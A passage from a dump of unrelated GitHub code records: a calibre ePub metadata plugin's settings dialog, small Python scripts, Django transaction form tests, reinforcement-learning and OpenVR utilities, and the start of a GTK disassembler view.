CONTRIBUTORS_DESCRIPTION\n\nGUI = get_gui()\n\n\nclass ICON:\n PLUGIN = 'images/plugin.png'\n WARNING = 'images/warning.png'\n\n\nclass FIELD:\n '''\n contains the information to associate the data to a field \n '''\n class AUTHOR:\n ROLE = 'aut'\n NAME = 'authors'\n LOCAL = FieldMetadata()._tb_cats['authors']['name']\n COLUMN = '{:s} ({:s})'.format(NAME, LOCAL)\n\nclass KEY:\n OPTION_CHAR = '_'\n AUTO_IMPORT = OPTION_CHAR + 'autoImport'\n AUTO_EMBED = OPTION_CHAR + 'autoEmbed'\n FIRST_CONFIG = OPTION_CHAR + 'firstConfig'\n LINK_AUTHOR = OPTION_CHAR + 'linkAuthors'\n CREATORS_AS_AUTHOR = OPTION_CHAR + 'creatorAsAuthors'\n \n KEEP_CALIBRE_MANUAL = OPTION_CHAR + 'keepCalibre_Manual'\n KEEP_CALIBRE_AUTO = OPTION_CHAR + 'keepCalibre_Auto'\n \n SHARED_COLUMNS = OPTION_CHAR + 'sharedColumns'\n \n CREATORS = 'creators'\n CONTRIBUTORS = 'contributors'\n \n # legacy ePub2\n COVERAGES = 'coverages'\n RELATIONS = 'relations'\n RIGHTS = 'rights'\n SOURCES = 'sources'\n TYPES = 'types'\n \n # ePub3\n SERIES = 'series'\n COLLECTIONS = 'collections'\n \n \n @staticmethod\n def find_plugin(key):\n from .common_utils import _PLUGIN\n from calibre.customize.ui import find_plugin\n return find_plugin(_PLUGIN.name_writer if key == KEY.AUTO_EMBED else _PLUGIN.name_reader) \n \n @staticmethod\n def enable_plugin(key):\n from calibre.customize.ui import enable_plugin\n p = KEY.find_plugin(key)\n if p: enable_plugin(p.name)\n \n @staticmethod\n def disable_plugin(key):\n from calibre.customize.ui import disable_plugin\n p = KEY.find_plugin(key)\n if p: disable_plugin(p.name)\n \n \n @staticmethod\n def get_current_columns():\n from .common_utils.columns import get_columns_from_dict\n d = DYNAMIC[KEY.SHARED_COLUMNS]\n d = get_columns_from_dict(DYNAMIC[KEY.SHARED_COLUMNS])\n \n return get_columns_from_dict(DYNAMIC[KEY.SHARED_COLUMNS])\n \n @staticmethod\n def get_current_prefs():\n from .common_utils.columns import get_columns_from_dict\n prefs = DYNAMIC.deepcopy_dict()\n current_columns = KEY.get_current_columns().keys()\n link = DYNAMIC[KEY.LINK_AUTHOR]\n \n prefs = {k:v for k, v in iteritems(prefs) if not k.startswith(KEY.OPTION_CHAR)}\n \n if KEY.CONTRIBUTORS not in prefs or not prefs[KEY.CONTRIBUTORS]:\n prefs[KEY.CONTRIBUTORS] = {}\n \n for k,v in iteritems(copy.copy(prefs)):\n if k == KEY.CONTRIBUTORS:\n for k,v in iteritems(copy.copy(prefs[KEY.CONTRIBUTORS])):\n if not k or k not in CONTRIBUTORS_ROLES or not v or v not in current_columns:\n prefs[KEY.CONTRIBUTORS].pop(k, None)\n elif not v or v not in current_columns:\n prefs.pop(k, None)\n \n if link:\n prefs[KEY.CONTRIBUTORS][FIELD.AUTHOR.ROLE] = FIELD.AUTHOR.NAME\n return prefs\n \n \n @staticmethod\n def get_names():\n from .common_utils.columns import get_names\n return get_names(True)\n \n @staticmethod\n def get_used_columns():\n from .common_utils.columns import get_columns_where, get_columns_from_dict\n treated_column = [v for k,v in iteritems(PREFS) if not k.startswith(KEY.OPTION_CHAR) and isinstance(v, unicode)] + [c for c in itervalues(PREFS[KEY.CONTRIBUTORS]) if isinstance(c, unicode)]\n def predicate(column):\n return column.is_custom and column.name in treated_column\n \n return {v.name:v.metadata for v in itervalues(get_columns_where(predicate=predicate))}\n\n\nPREFS = PREFS_library()\nPREFS.defaults[KEY.AUTO_IMPORT] = False\nPREFS.defaults[KEY.AUTO_EMBED] = False\nPREFS.defaults[KEY.LINK_AUTHOR] = False\nPREFS.defaults[KEY.CREATORS_AS_AUTHOR] = False\nPREFS.defaults[KEY.CONTRIBUTORS] = {}\nPREFS.defaults[KEY.FIRST_CONFIG] = True\nPREFS.defaults[KEY.KEEP_CALIBRE_MANUAL] = False\nPREFS.defaults[KEY.KEEP_CALIBRE_AUTO] = True\n\nDYNAMIC = PREFS_dynamic()\nDYNAMIC.defaults = copy.deepcopy(PREFS.defaults)\nDYNAMIC.defaults[KEY.SHARED_COLUMNS] = {}\n\ndef plugin_check_enable_library():\n if PREFS[KEY.AUTO_IMPORT]:\n KEY.enable_plugin(KEY.AUTO_IMPORT)\n else:\n KEY.disable_plugin(KEY.AUTO_IMPORT)\n \n if PREFS[KEY.AUTO_EMBED]:\n KEY.enable_plugin(KEY.AUTO_EMBED)\n else:\n KEY.disable_plugin(KEY.AUTO_EMBED)\n \n with DYNAMIC:\n DYNAMIC.update(PREFS.deepcopy_dict())\n DYNAMIC[KEY.SHARED_COLUMNS] = KEY.get_used_columns()\n\ndef plugin_realy_enable(key):\n from calibre.customize.ui import is_disabled\n p = KEY.find_plugin(key)\n if p:\n enable = not is_disabled(p)\n if PREFS[key] != enable:\n PREFS[key] = enable\n return enable\n else:\n return False\n\nclass ConfigWidget(QWidget):\n def __init__(self, plugin_action):\n QWidget.__init__(self)\n \n self.plugin_action = plugin_action\n layout = QVBoxLayout(self)\n self.setLayout(layout)\n \n title_layout = ImageTitleLayout(self, ICON.PLUGIN, _('ePub Extended Metadata options'))\n layout.addLayout(title_layout)\n \n tabs = QTabWidget(self)\n layout.addWidget(tabs)\n \n \n # Add a horizontal layout containing the table and the buttons next to it\n contributor_layout = QVBoxLayout()\n tab_contributor = QWidget()\n tab_contributor.setLayout(contributor_layout)\n \n contributor_table_layout = QHBoxLayout()\n contributor_layout.addLayout(contributor_table_layout)\n tabs.addTab(tab_contributor, _('Contributor'))\n \n # Create a table the user can edit the menu list\n self.table = ContributorTableWidget(PREFS[KEY.CONTRIBUTORS], self)\n contributor_table_layout.addWidget(self.table)\n \n # Add a vertical layout containing the the buttons to move ad/del etc.\n button_layout = QVBoxLayout()\n contributor_table_layout.addLayout(button_layout)\n add_button = QToolButton(self)\n add_button.setToolTip(_('Add a Column/Contributor pair'))\n add_button.setIcon(get_icon('plus.png'))\n button_layout.addWidget(add_button)\n button_layout.addItem(QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding))\n \n delete_button = QToolButton(self)\n delete_button.setToolTip(_('Delete Column/Contributor pair'))\n delete_button.setIcon(get_icon('minus.png'))\n button_layout.addWidget(delete_button)\n button_layout.addItem(QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding))\n \n add_button.clicked.connect(self.table.add_row)\n delete_button.clicked.connect(self.table.delete_rows)\n \n \n contributor_option = QHBoxLayout()\n contributor_layout.addLayout(contributor_option)\n \n self.linkAuthors = QCheckBox(_('Embed \"{:s}\" column').format(FIELD.AUTHOR.COLUMN), self)\n self.linkAuthors.setToolTip(_('Embed the \"{:s}\" column as a Contributors metadata. This a write-only option, the import action will not change the Calibre {:s} column.').format(FIELD.AUTHOR.COLUMN, FIELD.AUTHOR.LOCAL))\n self.linkAuthors.setChecked(PREFS[KEY.LINK_AUTHOR])\n contributor_option.addWidget(self.linkAuthors)\n \n #self.creatorsAsAuthors = QCheckBox(_('Import all Creators as authors'), self)\n #self.creatorsAsAuthors.setToolTip(_('Import all Creators as {:s} in \"{:s}\" column.').format(FIELD.AUTHOR.LOCAL, FIELD.AUTHOR.COLUMN))\n #self.creatorsAsAuthors.setChecked(PREFS[KEY.CREATORS_AS_AUTHOR])\n #contributor_option.addWidget(self.creatorsAsAuthors)\n \n contributor_option.addStretch(1)\n \n \n # ePub 3 tab\n \n scroll_layout = QVBoxLayout()\n tab_epub3 = QWidget()\n tab_epub3.setLayout(scroll_layout)\n scrollable = QScrollArea()\n scrollable.setWidget(tab_epub3)\n scrollable.setWidgetResizable(True)\n tabs.addTab(scrollable, _('ePub3 metadata'))\n \n epub3_layout = QGridLayout()\n scroll_layout.addLayout(epub3_layout)\n epub3_layout.addWidget(QLabel('Work in progres', self), 0, 0, 1, 1)\n \n \n \n scroll_layout.addStretch(1)\n \n # Global options\n option_layout = QHBoxLayout()\n layout.addLayout(option_layout)\n \n option_layout.insertStretch(-1)\n \n self.reader_button = QPushButton(_('Automatic import'))\n self.reader_button.setToolTip(_('Allows to automatically import the extended metadata when adding a new book to the library'))\n button_plugin_initialized(self.reader_button, KEY.AUTO_IMPORT)\n option_layout.addWidget(self.reader_button)\n self.writer_button = QPushButton(_('Automatic embed'))\n self.writer_button.setToolTip(_('Allows to to automatically embed the extended metadata at the same time as the default Calibre action'))\n button_plugin_initialized(self.writer_button, KEY.AUTO_EMBED)\n option_layout.addWidget(self.writer_button)\n \n \n # --- Keyboard shortcuts ---\n keyboard_layout = QHBoxLayout()\n layout.addLayout(keyboard_layout)\n keyboard_shortcuts_button = QPushButton(_('Keyboard shortcuts')+'...', self)\n keyboard_shortcuts_button.setToolTip(_('Edit the keyboard shortcuts associated with this plugin'))\n keyboard_shortcuts_button.clicked.connect(self.edit_shortcuts)\n keyboard_layout.addWidget(keyboard_shortcuts_button)\n \n view_prefs_button = QPushButton(_('View library preferences')+'...', self)\n view_prefs_button.setToolTip(_('View data stored in the library database for this plugin'))\n view_prefs_button.clicked.connect(self.library_prefs)\n keyboard_layout.addWidget(view_prefs_button)\n \n keyboard_layout.insertStretch(-1)\n \n import_option = QPushButton(_('Edit import options'))\n if self.reader_button.isEnabled():\n p = KEY.find_plugin(KEY.AUTO_IMPORT)\n import_option.clicked.connect(partial(p.do_user_config, self))\n else:\n import_option.setEnabled(False)\n keyboard_layout.addWidget(import_option)\n \n \n def validate(self):\n valide = self.table.valide_contributors_columns()\n if not valide: warning_dialog(GUI, _('Duplicate values'),\n _('The current parameters contain duplicate values.\\nYour changes can\\'t be saved and have been cancelled.'),\n show=True, show_copy_button=False)\n \n return valide\n \n def save_settings(self):\n with PREFS:\n PREFS[KEY.CONTRIBUTORS] = self.table.get_contributors_columns()\n PREFS[KEY.LINK_AUTHOR] = self.linkAuthors.checkState() == Qt.Checked\n #PREFS[KEY.CREATORS_AS_AUTHOR] = self.creatorsAsAuthors.checkState() == Qt.Checked\n PREFS[KEY.AUTO_IMPORT] = self.reader_button.pluginEnable\n PREFS[KEY.AUTO_EMBED] = self.writer_button.pluginEnable\n PREFS[KEY.FIRST_CONFIG] = False\n \n if PREFS[KEY.LINK_AUTHOR]:\n poped = PREFS[KEY.CONTRIBUTORS].pop(FIELD.AUTHOR.ROLE, None)\n if poped:\n PREFS[str(len(PREFS[KEY.CONTRIBUTORS])+1)] = poped\n \n debug_print('Save settings:\\n{0}\\n'.format(PREFS))\n plugin_check_enable_library()\n \n def edit_shortcuts(self):\n edit_keyboard_shortcuts(self.plugin_action)\n \n def library_prefs(self):\n view_library_prefs()\n self.table.populate_table(PREFS[KEY.CONTRIBUTORS])\n self.linkAuthors.setChecked(PREFS[KEY.LINK_AUTHOR])\n plugin_check_enable_library()\n self.reader_button.pluginEnable = PREFS[KEY.AUTO_IMPORT]\n self.writer_button.pluginEnable = PREFS[KEY.AUTO_EMBED]\n button_plugin_icon(self.reader_button)\n button_plugin_icon(self.writer_button)\n\n\ndef button_plugin_initialized(button, key):\n button.pluginEnable = plugin_realy_enable(key)\n if KEY.find_plugin(key):\n button.clicked.connect(partial(button_plugin_clicked, button, key))\n button_plugin_icon(button)\n else:\n button.setIcon(get_icon(ICON.WARNING))\n button.setEnabled(False)\n button.setToolTip(_('This feature has been incorrectly initialized. Restart Calibre to fix this.'))\n\ndef button_plugin_clicked(button, key):\n button.pluginEnable = not button.pluginEnable\n button_plugin_icon(button)\n\ndef button_plugin_icon(button):\n if button.pluginEnable:\n button.setIcon(get_icon('dot_green.png'))\n else:\n button.setIcon(get_icon('dot_red.png'))\n\n\nCOL_COLUMNS = [_('Contributor type'), _('Column'), '']\nclass ContributorTableWidget(QTableWidget):\n _columnContrib = 0\n _columnColumn = 1\n _columnSpace = 2\n \n def __init__(self, contributors_pair_list=None, *args):\n QTableWidget.__init__(self, *args)\n self.setAlternatingRowColors(True)\n self.setSelectionBehavior(QAbstractItemView.SelectRows)\n self.setSortingEnabled(False)\n self.setMinimumSize(600, 0)\n self.populate_table(contributors_pair_list)\n \n def populate_table(self, contributors_pair_list=None):\n self.clear()\n self.setColumnCount(len(COL_COLUMNS))\n self.setHorizontalHeaderLabels(COL_COLUMNS)\n self.verticalHeader().setDefaultSectionSize(24)\n \n contributors_pair_list = contributors_pair_list or {}\n \n if PREFS[KEY.FIRST_CONFIG] and not contributors_pair_list:\n columns = KEY.get_names()\n for role in CONTRIBUTORS_ROLES:\n for column in columns:\n if strcmp('#'+role, column) == 0:\n contributors_pair_list[role] = column\n \n self.setRowCount(len(contributors_pair_list))\n for row, contributors_pair in enumerate(iteritems(contributors_pair_list), 0):\n self.populate_table_row(row, contributors_pair)\n \n self.selectRow(0)\n \n def populate_table_row(self, row, contributors_pair):\n self.blockSignals(True)\n \n contributors_pair = contributors_pair or ('','')\n self.setCellWidget(row, self._columnContrib, ContributorsComboBox(self, contributors_pair[0]))\n self.setCellWidget(row, self._columnColumn, DuplicColumnComboBox(self, contributors_pair[1]))\n self.setItem(row, self._columnSpace, ReadOnlyTableWidgetItem(''))\n \n self.resizeColumnsToContents()\n self.blockSignals(False)\n \n def add_row(self):\n self.setFocus()\n # We will insert a blank row below the currently selected row\n row = self.currentRow() + 1\n self.insertRow(row)\n self.populate_table_row(row, None)\n self.select_and_scroll_to_row(row)\n \n def delete_rows(self):\n self.setFocus()\n rows = self.selectionModel().selectedRows()\n if len(rows) == 0:\n return\n message = _('Are you sure you want to delete this Column/Contributor pair?')\n if len(rows) > 1:\n message = _('Are you sure you want to delete the selected {:d} Column/Contributor pairs?').format(len(rows))\n if not question_dialog(self, _('Are you sure?'), message, show_copy_button=False):\n return\n first_sel_row = self.currentRow()\n for selrow in reversed(rows):\n self.removeRow(selrow.row())\n if first_sel_row < self.rowCount():\n self.select_and_scroll_to_row(first_sel_row)\n elif self.rowCount() > 0:\n self.select_and_scroll_to_row(first_sel_row - 1)\n \n def select_and_scroll_to_row(self, row):\n self.selectRow(row)\n self.scrollToItem(self.currentItem())\n \n \n def _duplicate_entrys(self, column):\n de = duplicate_entry([ self.cellWidget(row, column).currentText() for row in range(self.rowCount()) ])\n if '' in de: de.remove('')\n return de\n \n def valide_contributors_columns(self):\n aa = self._duplicate_entrys(self._columnContrib)\n cc = self._duplicate_entrys(self._columnColumn)\n return not(aa or cc)\n \n def get_contributors_columns(self):\n contributors_columns = {}\n for row in range(self.rowCount()):\n k = self.cellWidget(row, self._columnContrib).selected_key()\n v = self.cellWidget(row, self._columnColumn).get_selected_column()\n \n if k or v:\n contributors_columns[k if k else str(row)] = v if v else ''\n \n return contributors_columns\n\nclass ContributorsComboBox(KeyValueComboBox):\n def __init__(self, table, selected_contributors):\n KeyValueComboBox.__init__(self, table, CONTRIBUTORS_ROLES, selected_contributors, values_ToolTip=CONTRIBUTORS_DESCRIPTION)\n self.table = table\n self.currentIndexChanged.connect(self.test_contributors_changed)\n \n def wheelEvent(self, event):\n # Disable the mouse wheel on top of the combo box changing selection as plays havoc in a grid\n event.ignore()\n \n def test_contributors_changed(self, val):\n de = self.table._duplicate_entrys(self.table._columnContrib)\n if de and de.count(self.currentText()):\n warning_dialog(self, _('Duplicate Contributors type'),\n _('A Contributor was duplicated!\\nChange the settings so that each contributor is present only once, otherwise the settings can not be saved.\\n\\nDuplicate type:')\n + '\\n' + '\\n'.join(de),\n show=True, show_copy_button=False)\n\nclass DuplicColumnComboBox(CustomColumnComboBox):\n \n def __init__(self, table, selected_column):\n CustomColumnComboBox.__init__(self, table, KEY.get_names(), selected_column, initial_items=[''])\n self.table = table\n self.currentIndexChanged.connect(self.test_column_changed)\n \n def wheelEvent(self, event):\n # Disable the mouse wheel on top of the combo box changing selection as plays havoc in a grid\n event.ignore()\n \n def test_column_changed(self, val):\n de = self.table._duplicate_entrys(self.table._columnColumn)\n if de and de.count(self.currentText()):\n warning_dialog(self, _('Duplicate Custom column'),\n _('A Custom column was duplicated!\\nChange the settings so that each Custom column is present only once, otherwise the settings can not be saved.\\n\\nDuplicate column:')\n + '\\n' + '\\n'.join(de),\n show=True, show_copy_button=False)\n\n\n\nOPTION_MANUAL = OrderedDict([\n (True, _('Keep Calibre metadata, fill only the empty fields')),\n (False, _('Overwrites Calibre metadata, considers that the book always reason'))\n])\n\nOPTION_AUTO = OrderedDict([\n (True, _('Keep Calibre embed metadata that could exist in the book')),\n (False, _('Overwrites Calibre embed metadata, give priority to original metadata'))\n])\n\n\nclass ConfigReaderWidget(QWidget):\n def __init__(self, plugin_action):\n QWidget.__init__(self)\n \n self.plugin_action = plugin_action\n layout = QVBoxLayout(self)\n self.setLayout(layout)\n \n title_layout = ImageTitleLayout(self, ICON.PLUGIN, _('ePub Extended Metadata import options'))\n layout.addLayout(title_layout)\n head = QLabel(_('Set here the specifics options to read and automatic addition of metadata.'))\n head.setWordWrap(True)\n layout.addWidget(head)\n \n conflict = QLabel(_('Choose the behavior to adopt in case of conflict between the metadata read by ePub Extended Metadata and the one already recorded by Calibre.'))\n conflict.setWordWrap(True)\n layout.addWidget(conflict)\n \n layout.addWidget(QLabel(''))\n \n importManual_Label = QLabel(_('When importing manually:'))\n importManual_ToolTip = _('The manual import is executed by clicking on \"Import Extended Metadata\" in the menu of \\'ePub Extended Metadata\\'')\n importManual_Label.setToolTip(importManual_ToolTip)\n layout.addWidget(importManual_Label)\n self.importManual = KeyValueComboBox(self, OPTION_MANUAL, PREFS[KEY.KEEP_CALIBRE_MANUAL])\n self.importManual.setToolTip(importManual_ToolTip)\n layout.addWidget(self.importManual)\n \n importAuto_Label = QLabel(_('During automatic import:'))\n importAuto_ToolTip = _('The auto import is executed when Calibre add a book to the library')\n importAuto_Label.setToolTip(importAuto_ToolTip)\n layout.addWidget(importAuto_Label)\n self.importAuto = KeyValueComboBox(self, OPTION_AUTO, PREFS[KEY.KEEP_CALIBRE_AUTO])\n self.importAuto.setToolTip(importAuto_ToolTip)\n layout.addWidget(self.importAuto)\n \n layout.insertStretch(-1)\n \n \n def save_settings(self):\n prefs = {}\n prefs[KEY.KEEP_CALIBRE_AUTO] = self.importAuto.selected_key()\n prefs[KEY.KEEP_CALIBRE_MANUAL] = self.importManual.selected_key()\n \n PREFS.update(prefs)\n debug_print('Save settings of import:\\n{0}\\n'.format(prefs))\n plugin_check_enable_library()\n ","repo_name":"un-pogaz/ePub-Extended-Metadata","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":23577,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"81"} +{"seq_id":"73424034826","text":"# 处理没有用户的情形\nnames = ['admin', 'sam', 'tom', 'amily', 'bill', 'leo']\n\nif names:\n for name in names:\n if name == 'admin':\n print(\"Hello admin,would you like to see a status report?\")\n else:\n print(\"Hello \" + name +\",thank you for logging in again.\")\nelse:\n print(\"We need to find some users!\")","repo_name":"leeoohs/python","sub_path":"course_5.4/names_case_5-9.py","file_name":"names_case_5-9.py","file_ext":"py","file_size_in_byte":351,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"81"} +{"seq_id":"36317339702","text":"import firebase\nimport argparse\n\ndef check_count(data):\n print(len(data))\n\n\ndef show_newest(data, show):\n print(data[0:show])\n\ndef show_oldest(data, show):\n start = len(data) - show\n end = len(data)\n print(data[start:end])\n\n\nif __name__ == '__main__':\n # parse cli arguments\n ap = argparse.ArgumentParser()\n ap.add_argument('-t', '--term', help = 'term to test for')\n ap.add_argument('-c', '--count', help = 'count amount of tweets', action=\"store_true\")\n ap.add_argument('-n', '--newest', help = 'get newest posts', action=\"store_true\")\n ap.add_argument('-o', '--oldest', help = 'get oldest posts', action=\"store_true\")\n ap.add_argument('-s', '--show', help = 'amount of tweets to show', type=int, default=1)\n args = vars(ap.parse_args())\n\n if args['term'] is None:\n print('please provide a term to look up')\n sys.exit(1)\n\n fb = firebase.create_firebase()\n db_tweets = fb.database().child('tweets').child(args['term']).get().val()\n\n if db_tweets is None:\n print('no data found here')\n sys.exit(0)\n\n if args['count']:\n check_count(db_tweets)\n\n if args['newest']:\n show_newest(db_tweets, args['show'])\n\n if args['oldest']:\n show_oldest(db_tweets, args['show'])\n\n","repo_name":"mannynotfound/zeitgeist","sub_path":"scripts/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"2442288150","text":"from django.test import TestCase, override_settings\nfrom django.utils import timezone\n\nfrom profiles.factories import ProfileFactory\nfrom transactions.factories import TransactionFactory\nfrom transactions.forms import TransactionForm, ConfirmTransactionForm\n\n\n@override_settings(STATICFILES_STORAGE='django.contrib.staticfiles.storage.StaticFilesStorage')\nclass TransactionFormTestCase(TestCase):\n @classmethod\n def setUpTestData(cls):\n cls.created_by = ProfileFactory()\n cls.sent_to = ProfileFactory()\n\n cls.data_payload = {\n 'date': timezone.now(),\n 'amount': 1234,\n 'currency': 'USD',\n 'is_requester_principal': True\n }\n\n def test_require_created_by_and_sent_to(self):\n with self.assertRaises(KeyError):\n TransactionForm()\n\n with self.assertRaises(KeyError):\n TransactionForm(created_by=self.created_by)\n\n with self.assertRaises(KeyError):\n TransactionForm(sent_to=self.sent_to)\n\n def test_valid_with_correct_payload(self):\n files = {\n 'proof_receipt': TransactionFactory.create_proof_receipt()\n }\n\n form = TransactionForm(created_by=self.created_by, sent_to=self.sent_to, data=self.data_payload, files=files)\n self.assertTrue(form.is_valid())\n\n def test_pass_created_by_sent_to_to_instance(self):\n files = {\n 'proof_receipt': TransactionFactory.create_proof_receipt()\n }\n\n form = TransactionForm(created_by=self.created_by, sent_to=self.sent_to, data=self.data_payload, files=files)\n transaction = form.save()\n\n self.assertIs(transaction.created_by, self.created_by)\n self.assertIs(transaction.sent_to, self.sent_to)\n\n\n@override_settings(STATICFILES_STORAGE='django.contrib.staticfiles.storage.StaticFilesStorage')\nclass ConfirmTransactionFormTest(TestCase):\n @classmethod\n def setUpTestData(cls):\n cls.data_payload = {\n 'submit': ConfirmTransactionForm.ACTION_CONFIRM\n }\n\n def setUp(self):\n self.transaction = TransactionFactory(sent_to_not_checked=True)\n\n def test_valid_with_correct_payload(self):\n form = ConfirmTransactionForm(data=self.data_payload, instance=self.transaction)\n self.assertTrue(form.is_valid())\n\n def test_is_confirmed_true_on_confirm(self):\n form = ConfirmTransactionForm(data=self.data_payload, instance=self.transaction)\n\n transaction = form.save()\n\n self.assertTrue(transaction.is_confirmed)\n\n def test_is_confirmed_false_on_deny(self):\n denied_data_payload = dict(self.data_payload)\n denied_data_payload['submit'] = ConfirmTransactionForm.ACTION_DENY\n form = ConfirmTransactionForm(data=denied_data_payload, instance=self.transaction)\n\n transaction = form.save()\n\n self.assertFalse(transaction.is_confirmed)\n","repo_name":"pogasanov/clsite","sub_path":"app/transactions/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"29564409041","text":"import arxiv\n\ntitle = 'Dual Cross-Attention Learning for Fine-Grained Visual Categorization and Object Re-Identification'\nsearch = arxiv.Search(\n query=f\"ti:{title}\",\n max_results=1,\n sort_by=arxiv.SortCriterion.Relevance,\n)\n\nfor r in search.results():\n print(r.title)","repo_name":"Eggngineer/SlackBots","sub_path":"demo_arxiv.py","file_name":"demo_arxiv.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36284324872","text":"import math\nimport torch\nimport torch.nn as nn\nimport numpy as np\nfrom typing import List, Union\nimport time\n\nimport openvr\n\nfrom robel.components.tracking.virtual_reality.device import VrDevice\nfrom robel.components.tracking.virtual_reality.poses import VrPoseBatch\n\nfrom model import GaussianPolicy\n\nROTATE = np.array(\n [\n [1, 0, 0],\n [0, 0, -1],\n [0, 1, 0]\n ]\n )\n\n\nclass FCModel(nn.Module):\n def __init__(self, space_shape, hidden_size=64):\n super().__init__()\n\n self.lin1 = nn.Linear(space_shape, hidden_size)\n self.lin2 = nn.Linear(hidden_size, hidden_size)\n self.lin3 = nn.Linear(hidden_size, space_shape)\n\n self.nonlin = nn.LeakyReLU(0.2)\n\n def forward(self, batch):\n batch = self.nonlin(self.lin1(batch))\n batch = self.nonlin(self.lin2(batch))\n batch = self.lin3(batch)\n\n return batch\n\ndef policy_factory(model_path, env):\n agent = GaussianPolicy(\n env.observation_space.shape[0],\n env.action_space.shape[0],\n 256,\n env.action_space\n ).to('cpu')\n\n agent.load_state_dict(torch.load(model_path, map_location=torch.device('cpu')))\n\n def policy(obs):\n state = torch.FloatTensor(obs).unsqueeze(0)\n _, _, action = agent.sample(state)\n return action.detach().cpu().numpy()[0]\n\n return policy\n\n\ndef create_log_gaussian(mean, log_std, t):\n quadratic = -((0.5 * (t - mean) / (log_std.exp())).pow(2))\n l = mean.shape\n log_z = log_std\n z = l[-1] * math.log(2 * math.pi)\n log_p = quadratic.sum(dim=-1) - log_z.sum(dim=-1) - 0.5 * z\n return log_p\n\n\ndef logsumexp(inputs, dim=None, keepdim=False):\n if dim is None:\n inputs = inputs.view(-1)\n dim = 0\n s, _ = torch.max(inputs, dim=dim, keepdim=True)\n outputs = s + (inputs - s).exp().sum(dim=dim, keepdim=True).log()\n if not keepdim:\n outputs = outputs.squeeze(dim)\n return outputs\n\n\ndef soft_update(target, source, tau):\n for target_param, param in zip(target.parameters(), source.parameters()):\n target_param.data.copy_(target_param.data * (1.0 - tau) + param.data * tau)\n\n\ndef hard_update(target, source):\n for target_param, param in zip(target.parameters(), source.parameters()):\n target_param.data.copy_(param.data)\n\n\nclass VrClient:\n \"\"\"Communicates with a VR device.\"\"\"\n\n def __init__(self):\n self._vr_system = None\n self._devices = []\n self._device_serial_lookup = {}\n self._device_index_lookup = {}\n self._last_pose_batch = None\n self._plot = None\n\n # Attempt to start OpenVR.\n if not openvr.isRuntimeInstalled():\n raise OSError('OpenVR runtime not installed.')\n\n self._vr_system = openvr.init(openvr.VRApplication_Other)\n\n def close(self):\n \"\"\"Cleans up any resources used by the client.\"\"\"\n if self._vr_system is not None:\n openvr.shutdown()\n self._vr_system = None\n\n def get_device(self, identifier: Union[int, str]) -> VrDevice:\n \"\"\"Returns the device with the given name.\"\"\"\n identifier = str(identifier)\n if identifier in self._device_index_lookup:\n return self._device_index_lookup[identifier]\n if identifier in self._device_serial_lookup:\n return self._device_serial_lookup[identifier]\n\n self.discover_devices()\n if (identifier not in self._device_index_lookup\n and identifier not in self._device_serial_lookup):\n raise ValueError(\n 'Could not find device with name or index: {} (Available: {})'\n .format(identifier, sorted(self._device_serial_lookup.keys())))\n\n if identifier in self._device_index_lookup:\n return self._device_index_lookup[identifier]\n return self._device_serial_lookup[identifier]\n\n def discover_devices(self) -> List[VrDevice]:\n \"\"\"Returns and caches all connected devices.\"\"\"\n self._device_index_lookup.clear()\n self._device_serial_lookup.clear()\n devices = []\n for device_index in range(openvr.k_unMaxTrackedDeviceCount):\n device = VrDevice(self._vr_system, device_index)\n if not device.is_connected():\n continue\n devices.append(device)\n self._device_index_lookup[str(device.index)] = device\n self._device_serial_lookup[device.get_serial()] = device\n self._devices = devices\n return devices\n\n def get_poses(self, time_from_now: float = 0.0,\n update_plot: bool = True) -> VrPoseBatch:\n \"\"\"Returns a batch of poses that can be queried per device.\n\n Args:\n time_from_now: The seconds into the future to read poses.\n update_plot: If True, updates an existing plot.\n \"\"\"\n pose_batch = VrPoseBatch(self._vr_system, time_from_now)\n self._last_pose_batch = pose_batch\n if update_plot and self._plot and self._plot.is_open:\n self._plot.refresh()\n return pose_batch\n\n def __enter__(self):\n \"\"\"Enables use as a context manager.\"\"\"\n return self\n\n def __exit__(self, *args):\n \"\"\"Enables use as a context manager.\"\"\"\n self.close()\n\n def __del__(self):\n \"\"\"Automatically disconnect on destruction.\"\"\"\n self.close()\n\n\ndef print_observation(observation):\n print('='*100)\n print('pos:', observation[:3])\n print('euler: ', observation[3:6])\n print('joint_pos', observation[6:18])\n print('vel', observation[18:21])\n print('angular_vel: ', observation[21:24])\n print('joint_vel: ', observation[24:36])\n print('last_action: ', observation[36:48])\n","repo_name":"dmitrySorokin/SAC","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29601366880","text":"#1629C\r\r\n\r\r\ndef mex(a):\r\r\n temp_a=list(a)\r\r\n temp_a.sort()\r\r\n c=0\r\r\n while c in a:\r\r\n c+=1\r\r\n return c\r\r\n\r\r\ndef mexify(a):\r\r\n l1=[]\r\r\n for i in range(1,len(a)+1):\r\r\n l1.append([mex(a[:i]),a[i:]])\r\r\n nxt=max(l1)[0]\r\r\n j=0\r\r\n while l1[j][0]%s\\t' % (config.highLevelCodeFgColor, str(insn)),\n jump_pixmaps_right[insn.right_state[0]],\n jump_pixmaps_right[insn.right_state[1]],\n jump_pixmaps_right[insn.right_state[2]],\n \"\",\n insn\n ))\n continue\n\n target = \"\"\n if isinstance(insn.getOutLink(), Function):\n target = insn.getOutLink().getLabel()\n\n insnAddr = \"0x%08x\" % (insn.address)\n insnStr = insn.getOpcode()\n argsStr = insn.getArgs()\n\n strRepresentation = '%s\\t%s' % (config.insnFgColor, insnStr, argsStr)\n if insn.comment:\n strRepresentation += ' ;%s' % (config.highLevelCodeFgColor, cgi.escape(insn.comment))\n insn.iter = self.tree_store.append( (insnAddr,\n jump_pixmaps_left[insn.left_state[2]],\n 